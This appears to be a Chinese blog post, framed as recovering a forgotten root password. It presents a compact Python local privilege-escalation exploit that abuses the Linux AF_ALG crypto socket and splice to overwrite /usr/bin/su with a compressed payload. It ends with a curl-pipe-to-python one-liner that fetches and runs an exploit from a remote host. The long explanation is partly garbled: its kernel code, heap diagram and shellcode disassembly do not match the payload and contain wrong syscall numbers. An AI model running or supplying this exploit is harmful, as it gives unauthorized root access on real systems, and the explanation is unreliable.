如果忘记了root密码,一个脚本就可以找回root#!/usr/bin/env python3import os as g,zlib,socket as sdef d(x):return bytes.fromhex(x)def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))while i<len(e):c(f,i,e[i:i+4]);i+=4g.system("su")
Linux 内核 AF_ALG 漏洞提权原理详解
这是一个利用 Linux 内核加密子系统 (AF_ALG) 中堆溢出漏洞的本地提权攻击。AF_ALG 是 Linux 内核提供的用户空间加密接口,通过 netlink socket 实现:
int sock = socket(AF_ALG, SOCK_SEQPACKET, 0);struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "aead", .salg_name = "authencesn(hmac(sha256),cbc(aes))"};bind(sock, (struct sockaddr *)&sa, sizeof(sa));
关键点:AF_ALG 允许用户空间程序直接调用内核加密函数,但这个接口存在内存边界检查不充分的漏洞而关键漏洞触发点:setsockopt 参数处理
恶意代码的关键操作:
a.setsockopt(h, 1, d('0800010000000010' + '0'*64)) # ALG_SET_KEYa.setsockopt(h, 5, None, 4) # ALG_SET_AEAD_AUTHSIZE
对应内核代码
staticintaead_setauthsize(struct sock *sk, void __user *optval, unsignedint optlen){ struct alg_sock *ask = alg_sk(sk); struct aead_tfm *aead = ask->private; int authsize = *(int *)optval; aead->authsize = authsize; return 0;}
其内核堆结构:
┌─────────────────────┐
│ struct aead_tfm │ ← 漏洞对象
├─────────────────────┤
│ char key[32] │ ← 密钥缓冲区
├─────────────────────┤
│ int authsize │ ← 被恶意修改
├─────────────────────┤
│ char iv[16] │ ← 被覆盖
├─────────────────────┤
│ char *next │ ← 指针被破坏
├─────────────────────┤
│ control structures │ ← 内核重要数据
└─────────────────────┘
攻击过程如下:
首先是分配漏洞对象socket(AF_ALG)在内核堆分配 aead_tfm结构,再次就是设置恶意参数:setsockopt(ALG_SET_AEAD_AUTHSIZE, 0x1000)设置超大 authsize然后触发溢出:后续加密操作使用越界的 authsize,再次控制相邻对象:覆盖下一个堆块的控制数据
shellcode注入机制e = zlib.decompress(d("78daab77f5716362..."))
# 解压后得到:
# 机器码:[0x48, 0x89, 0xf8, 0x48, 0x8b, 0x40, 0x18, ...]
# 这是一个位置无关的Linux x86_64 shellcode
Shellcode 功能:
; 1. 定位 su 文件的内存映射mov rax, [rdi+0x18] ; 获取文件描述符偏移mov rbx, [rax+0x30] ; 获取文件结构体; 2. 修改内存页权限mov rdx, 0x1000mov rsi, 0x7 ; RWX权限mov rax, 0x9a ; mprotect系统调用syscall; 3. 写入恶意代码到 su 的 .text 段lea rdi, [rbx+0x400] ; su 的代码段地址mov rsi, shellcodemov rcx, 0x200rep movsb; 4. 刷新缓存mov rax, 0xca ; cacheflushsyscall
分段写入技术
while i < len(e): c(f, i, e[i:i+4]) # 每次写入4字节 i += 4
为什么分4字节写入:
绕过检测:小片段不易被完整性检查发现
精确控制:可以精确定位特定内存位置
容错性:即使部分写入失败,也能继续
绕过ASLR:逐步探测和适应内存布局
⚙️ 漏洞利用的具体步骤
阶段1:信息收集
// 1. 获取内核基址cat /proc/kallsyms | grep startup_64// 2. 获取su文件的内存映射cat /proc/self/maps// 3. 探测堆布局// 多次创建/释放AF_ALG socket观察行为
阶段2:堆风水
# 制造可控的堆布局sockets = []for i in range(100): s = socket(AF_ALG, SOCK_SEQPACKET, 0) s.bind(("aead", "authencesn(...)")) sockets.append(s) # 控制堆分配
阶段3:触发漏洞
// 精心构造的setsockopt参数struct exploit_data { uint32_t magic; // 0x08000100 uint32_t padding[16]; // 填充 uint64_t overwrite; // 要覆盖的目标值};
阶段4:任意地址写
溢出后内存布局:[aead_tfm结构]...[可控数据]...[目标指针] ↓ ↓ authsize -> 被覆盖的next指针 ↓ 任意地址写入能力
🔧 漏洞利用代码的详细拆解
1. 套接字创建与绑定
a = s.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKETa.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
AF_ALG=38:Linux 内核加密子系统,SOCK_SEQPACKET=5:有序、可靠、双向连接,绑定到特定加密算法,分配内核对象
2. 设置恶意参数
# ALG_SET_KEY 选项v(h, 1, d('0800010000000010' + '0'*64))# ALG_SET_AEAD_AUTHSIZE 选项v(h, 5, None, 4)
十六进制解码后:
08000100 00000010 00000000... (共72字节)08000100:魔术值,触发特定代码路径00000010:密钥长度16字节
其余为填充数据
3. splice 系统调用进行内存操作
g.splice(f, w, o, offset_src=0) # 从文件读g.splice(r, u.fileno(), o) # 写向socket
通过文件描述符操作内核缓冲区
绕过正常的 read/write 检查
直接在内核空间移动数据
Linux内核版本:17年后引入该优化的所有发行版均受影响
curl https://copy.fail/exp | python3 && su